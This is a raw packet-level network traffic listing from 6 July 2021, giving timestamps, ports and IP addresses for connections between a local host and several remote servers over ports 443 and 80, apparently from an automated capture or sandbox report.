Jul 6, 2021 14:31:23.038002968 CEST	443	49809	52.98.175.2	192.168.2.5
Jul 6, 2021 14:31:23.038028955 CEST	49809	443	192.168.2.5	52.98.175.2
Jul 6, 2021 14:31:23.038064957 CEST	49809	443	192.168.2.5	52.98.175.2
Jul 6, 2021 14:31:23.038084984 CEST	49809	443	192.168.2.5	52.98.175.2
Jul 6, 2021 14:31:23.048017025 CEST	443	49808	40.97.148.226	192.168.2.5
Jul 6, 2021 14:31:23.048917055 CEST	49810	443	192.168.2.5	52.98.175.2
Jul 6, 2021 14:31:23.048970938 CEST	49809	443	192.168.2.5	52.98.175.2
Jul 6, 2021 14:31:23.050182104 CEST	49809	443	192.168.2.5	52.98.175.2
Jul 6, 2021 14:31:23.089762926 CEST	443	49809	52.98.175.2	192.168.2.5
Jul 6, 2021 14:31:23.089806080 CEST	443	49809	52.98.175.2	192.168.2.5
Jul 6, 2021 14:31:23.089920998 CEST	49809	443	192.168.2.5	52.98.175.2
Jul 6, 2021 14:31:23.090048075 CEST	443	49810	52.98.175.2	192.168.2.5
Jul 6, 2021 14:31:23.090132952 CEST	49810	443	192.168.2.5	52.98.175.2
Jul 6, 2021 14:31:23.092895031 CEST	443	49809	52.98.175.2	192.168.2.5
Jul 6, 2021 14:31:23.093003035 CEST	49809	443	192.168.2.5	52.98.175.2
Jul 6, 2021 14:31:23.093230009 CEST	49809	443	192.168.2.5	52.98.175.2
Jul 6, 2021 14:31:23.132715940 CEST	443	49809	52.98.175.2	192.168.2.5
Jul 6, 2021 14:31:23.173687935 CEST	49811	443	192.168.2.5	40.101.137.34
Jul 6, 2021 14:31:23.174094915 CEST	49812	443	192.168.2.5	40.101.137.34
Jul 6, 2021 14:31:23.221771955 CEST	443	49812	40.101.137.34	192.168.2.5
Jul 6, 2021 14:31:23.221965075 CEST	49812	443	192.168.2.5	40.101.137.34
Jul 6, 2021 14:31:23.222203016 CEST	443	49811	40.101.137.34	192.168.2.5
Jul 6, 2021 14:31:23.222311974 CEST	49811	443	192.168.2.5	40.101.137.34
Jul 6, 2021 14:31:23.222913980 CEST	49812	443	192.168.2.5	40.101.137.34
Jul 6, 2021 14:31:23.223969936 CEST	49811	443	192.168.2.5	40.101.137.34
Jul 6, 2021 14:31:23.271094084 CEST	443	49812	40.101.137.34	192.168.2.5
Jul 6, 2021 14:31:23.271157980 CEST	443	49812	40.101.137.34	192.168.2.5
Jul 6, 2021 14:31:23.271197081 CEST	443	49812	40.101.137.34	192.168.2.5
Jul 6, 2021 14:31:23.271256924 CEST	49812	443	192.168.2.5	40.101.137.34
Jul 6, 2021 14:31:23.271320105 CEST	49812	443	192.168.2.5	40.101.137.34
Jul 6, 2021 14:31:23.275552988 CEST	443	49811	40.101.137.34	192.168.2.5
Jul 6, 2021 14:31:23.275583029 CEST	443	49811	40.101.137.34	192.168.2.5
Jul 6, 2021 14:31:23.275609016 CEST	443	49811	40.101.137.34	192.168.2.5
Jul 6, 2021 14:31:23.275667906 CEST	49811	443	192.168.2.5	40.101.137.34
Jul 6, 2021 14:31:23.275695086 CEST	49811	443	192.168.2.5	40.101.137.34
Jul 6, 2021 14:31:23.281339884 CEST	49812	443	192.168.2.5	40.101.137.34
Jul 6, 2021 14:31:23.281673908 CEST	49812	443	192.168.2.5	40.101.137.34
Jul 6, 2021 14:31:23.288191080 CEST	49811	443	192.168.2.5	40.101.137.34
Jul 6, 2021 14:31:23.330802917 CEST	443	49812	40.101.137.34	192.168.2.5
Jul 6, 2021 14:31:23.330837011 CEST	443	49812	40.101.137.34	192.168.2.5
Jul 6, 2021 14:31:23.330898046 CEST	49812	443	192.168.2.5	40.101.137.34
Jul 6, 2021 14:31:23.336529970 CEST	443	49812	40.101.137.34	192.168.2.5
Jul 6, 2021 14:31:23.336551905 CEST	443	49812	40.101.137.34	192.168.2.5
Jul 6, 2021 14:31:23.336625099 CEST	49812	443	192.168.2.5	40.101.137.34
Jul 6, 2021 14:31:23.336652994 CEST	49812	443	192.168.2.5	40.101.137.34
Jul 6, 2021 14:31:23.338201046 CEST	443	49811	40.101.137.34	192.168.2.5
Jul 6, 2021 14:31:23.338319063 CEST	49811	443	192.168.2.5	40.101.137.34
Jul 6, 2021 14:31:23.854829073 CEST	49805	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:23.914489985 CEST	80	49805	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:23.914586067 CEST	49805	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:23.914899111 CEST	80	49805	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:23.914927959 CEST	80	49805	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:23.914968967 CEST	49805	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:23.915004969 CEST	49805	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:24.617333889 CEST	49807	443	192.168.2.5	40.97.148.226
Jul 6, 2021 14:31:24.617511988 CEST	49810	443	192.168.2.5	52.98.175.2
Jul 6, 2021 14:31:24.619143963 CEST	49812	443	192.168.2.5	40.101.137.34
Jul 6, 2021 14:31:24.619170904 CEST	49811	443	192.168.2.5	40.101.137.34
Jul 6, 2021 14:31:25.199078083 CEST	49806	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:25.199187040 CEST	49805	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:29.884706020 CEST	49813	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:29.884749889 CEST	49814	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:29.912440062 CEST	49815	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:29.913532972 CEST	49816	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:29.921772003 CEST	80	49814	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:29.921803951 CEST	80	49813	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:29.921858072 CEST	49814	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:29.921951056 CEST	49813	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:29.922583103 CEST	49814	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:29.949390888 CEST	80	49815	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:29.949495077 CEST	49815	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:29.950484991 CEST	49815	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:29.952569962 CEST	80	49816	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:29.952677011 CEST	49816	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:29.960886955 CEST	80	49814	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:29.997770071 CEST	80	49814	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:29.997792959 CEST	80	49814	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:29.997867107 CEST	49814	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:29.997895956 CEST	80	49814	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:29.997932911 CEST	80	49814	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:29.997948885 CEST	49814	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:29.997963905 CEST	80	49814	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:29.997991085 CEST	49814	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:29.997994900 CEST	80	49814	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:29.998016119 CEST	49814	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:29.998039007 CEST	49814	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:29.998066902 CEST	80	49814	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:29.998095989 CEST	80	49814	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:29.998112917 CEST	49814	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:29.998123884 CEST	80	49814	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:29.998143911 CEST	49814	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:29.998151064 CEST	80	49814	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:29.998168945 CEST	49814	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:29.998193979 CEST	49814	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:29.999315977 CEST	80	49815	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:30.035284996 CEST	80	49814	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:30.035320044 CEST	80	49814	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:30.035348892 CEST	80	49814	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:30.035378933 CEST	80	49814	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:30.035386086 CEST	49814	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:30.035442114 CEST	49814	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:30.035460949 CEST	80	49814	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:30.035482883 CEST	80	49814	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:30.035511971 CEST	49814	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:30.035512924 CEST	80	49814	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:30.035542965 CEST	80	49814	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:30.035545111 CEST	49814	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:30.035550117 CEST	49814	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:30.035566092 CEST	80	49814	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:30.035578012 CEST	49814	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:30.035600901 CEST	49814	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:30.035602093 CEST	80	49814	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:30.035631895 CEST	80	49814	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:30.035631895 CEST	49814	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:30.035654068 CEST	49814	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:30.035660982 CEST	80	49814	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:30.035686970 CEST	49814	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:30.035687923 CEST	80	49814	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:30.035712004 CEST	49814	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:30.035717964 CEST	80	49814	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:30.035749912 CEST	49814	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:30.035757065 CEST	80	49814	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:30.035777092 CEST	80	49814	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:30.035794973 CEST	80	49814	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:30.035810947 CEST	80	49814	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:30.035829067 CEST	80	49814	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:30.035845995 CEST	80	49814	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:30.035880089 CEST	49814	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:30.035912037 CEST	49814	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:30.072510958 CEST	80	49814	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:30.072562933 CEST	80	49814	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:30.072587013 CEST	49814	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:30.072609901 CEST	80	49814	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:30.072623968 CEST	49814	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:30.072650909 CEST	49814	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:30.072657108 CEST	80	49814	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:30.072701931 CEST	49814	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:30.072704077 CEST	80	49814	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:30.072751045 CEST	49814	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:30.072751045 CEST	80	49814	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:30.072803020 CEST	80	49814	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:30.072803974 CEST	49814	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:30.072834015 CEST	80	49814	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:30.072877884 CEST	80	49814	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:30.072885990 CEST	49814	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:30.072926044 CEST	80	49814	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:30.072930098 CEST	49814	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:30.072974920 CEST	80	49814	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:30.072978020 CEST	49814	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:30.073019028 CEST	80	49814	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:30.073029041 CEST	49814	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:30.073055983 CEST	49814	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:30.073062897 CEST	80	49814	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:30.073103905 CEST	80	49814	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:30.073105097 CEST	49814	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:30.073143959 CEST	49814	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:30.073144913 CEST	80	49814	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:30.073184967 CEST	80	49814	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:30.073193073 CEST	49814	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:30.073226929 CEST	80	49814	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:30.073227882 CEST	49814	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:30.073270082 CEST	80	49814	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:30.073270082 CEST	49814	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:30.073311090 CEST	49814	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:30.073311090 CEST	80	49814	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:30.073352098 CEST	80	49814	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:30.073353052 CEST	49814	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:30.073390007 CEST	49814	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:30.073393106 CEST	80	49814	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:30.073432922 CEST	80	49814	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:30.073440075 CEST	49814	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:30.073473930 CEST	80	49814	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:30.073474884 CEST	49814	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:30.073514938 CEST	80	49814	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:30.073529005 CEST	49814	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:30.073555946 CEST	80	49814	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:30.073563099 CEST	49814	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:30.073611021 CEST	80	49814	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:30.073612928 CEST	49814	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:30.073662043 CEST	49814	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:30.073662996 CEST	80	49814	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:30.073703051 CEST	80	49814	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:30.073705912 CEST	49814	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:30.073735952 CEST	80	49814	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:30.073745012 CEST	49814	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:30.073769093 CEST	80	49814	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:30.073776007 CEST	49814	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:30.073801994 CEST	80	49814	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:30.073808908 CEST	49814	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:30.073834896 CEST	80	49814	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:30.073837042 CEST	49814	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:30.073868036 CEST	80	49814	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:30.073899984 CEST	80	49814	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:30.073909998 CEST	49814	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:30.073921919 CEST	49814	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:30.073934078 CEST	80	49814	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:30.073959112 CEST	49814	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:30.073975086 CEST	80	49814	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:30.073998928 CEST	49814	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:30.074007988 CEST	80	49814	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:30.074028015 CEST	49814	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:30.074042082 CEST	80	49814	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:30.074050903 CEST	49814	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:30.074074984 CEST	80	49814	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:30.074095964 CEST	49814	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:30.074107885 CEST	80	49814	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:30.074112892 CEST	49814	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:30.074184895 CEST	49814	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:30.110619068 CEST	80	49814	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:30.110657930 CEST	80	49814	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:30.110686064 CEST	80	49814	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:30.110687971 CEST	49814	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:30.110707998 CEST	49814	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:30.110717058 CEST	80	49814	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:30.110726118 CEST	49814	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:30.110748053 CEST	80	49814	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:30.110755920 CEST	49814	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:30.110779047 CEST	80	49814	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:30.110780954 CEST	49814	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:30.110810041 CEST	80	49814	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:30.110820055 CEST	49814	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:30.110841036 CEST	80	49814	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:30.110848904 CEST	49814	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:30.110872030 CEST	80	49814	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:30.110876083 CEST	49814	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:30.110902071 CEST	80	49814	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:30.110909939 CEST	49814	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:30.110933065 CEST	80	49814	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:30.110937119 CEST	49814	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:30.110965014 CEST	80	49814	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:30.110966921 CEST	49814	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:30.110996008 CEST	80	49814	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:30.111001015 CEST	49814	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:30.111027956 CEST	80	49814	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:30.111035109 CEST	49814	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:30.111058950 CEST	80	49814	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:30.111077070 CEST	49814	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:30.111090899 CEST	49814	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:30.111093044 CEST	80	49814	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:30.111130953 CEST	49814	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:30.111136913 CEST	80	49814	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:30.111166000 CEST	80	49814	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:30.111190081 CEST	49814	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:30.111193895 CEST	80	49814	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:30.111203909 CEST	49814	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:30.111218929 CEST	80	49814	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:30.111242056 CEST	49814	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:30.111255884 CEST	80	49814	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:30.111265898 CEST	49814	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:30.111287117 CEST	80	49814	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:30.111315012 CEST	49814	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:30.111315966 CEST	80	49814	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:30.111335993 CEST	49814	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:30.111344099 CEST	80	49814	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:30.111355066 CEST	49814	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:30.111371040 CEST	80	49814	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:30.111377954 CEST	49814	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:30.111391068 CEST	80	49814	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:30.111418962 CEST	80	49814	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:30.111422062 CEST	49814	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:30.111445904 CEST	80	49814	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:30.111466885 CEST	49814	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:30.111473083 CEST	80	49814	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:30.111496925 CEST	49814	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:30.111500025 CEST	80	49814	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:30.111517906 CEST	49814	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:30.111527920 CEST	80	49814	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:30.111537933 CEST	49814	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:30.111555099 CEST	80	49814	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:30.111561060 CEST	49814	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:30.111582041 CEST	80	49814	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:30.111588955 CEST	49814	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:30.111608982 CEST	80	49814	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:30.111613035 CEST	49814	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:30.111637115 CEST	80	49814	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:30.111644030 CEST	49814	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:30.111664057 CEST	80	49814	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:30.111670017 CEST	49814	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:30.111691952 CEST	80	49814	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:30.111699104 CEST	49814	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:30.111720085 CEST	80	49814	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:30.111722946 CEST	49814	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:30.111747026 CEST	80	49814	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:30.111752987 CEST	49814	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:30.111773968 CEST	80	49814	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:30.111778021 CEST	49814	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:30.111802101 CEST	80	49814	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:30.111807108 CEST	49814	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:30.111829042 CEST	80	49814	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:30.111834049 CEST	49814	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:30.111859083 CEST	80	49814	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:30.111869097 CEST	49814	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:30.111885071 CEST	80	49814	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:30.111892939 CEST	49814	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:30.111912966 CEST	80	49814	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:30.111921072 CEST	49814	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:30.111939907 CEST	80	49814	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:30.111946106 CEST	49814	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:30.111965895 CEST	80	49814	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:30.111974955 CEST	49814	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:30.111994028 CEST	80	49814	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:30.112004995 CEST	49814	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:30.112025976 CEST	80	49814	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:30.112030983 CEST	49814	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:30.112056017 CEST	80	49814	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:30.112071991 CEST	49814	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:30.112083912 CEST	80	49814	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:30.112090111 CEST	49814	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:30.112109900 CEST	80	49814	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:30.112126112 CEST	49814	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:30.112138033 CEST	80	49814	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:30.112153053 CEST	49814	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:30.112166882 CEST	80	49814	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:30.112173080 CEST	49814	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:30.112195969 CEST	80	49814	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:30.112205982 CEST	49814	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:30.112222910 CEST	80	49814	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:30.112229109 CEST	49814	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:30.112251043 CEST	80	49814	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:30.112257957 CEST	49814	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:30.112277985 CEST	80	49814	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:30.112287998 CEST	49814	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:30.112304926 CEST	80	49814	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:30.112313032 CEST	49814	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:30.112332106 CEST	80	49814	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:30.112340927 CEST	49814	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:30.112359047 CEST	80	49814	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:30.112365007 CEST	49814	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:30.112385988 CEST	80	49814	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:30.112394094 CEST	49814	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:30.112412930 CEST	80	49814	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:30.112422943 CEST	49814	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:30.112440109 CEST	80	49814	45.90.58.179	192.168.2.5
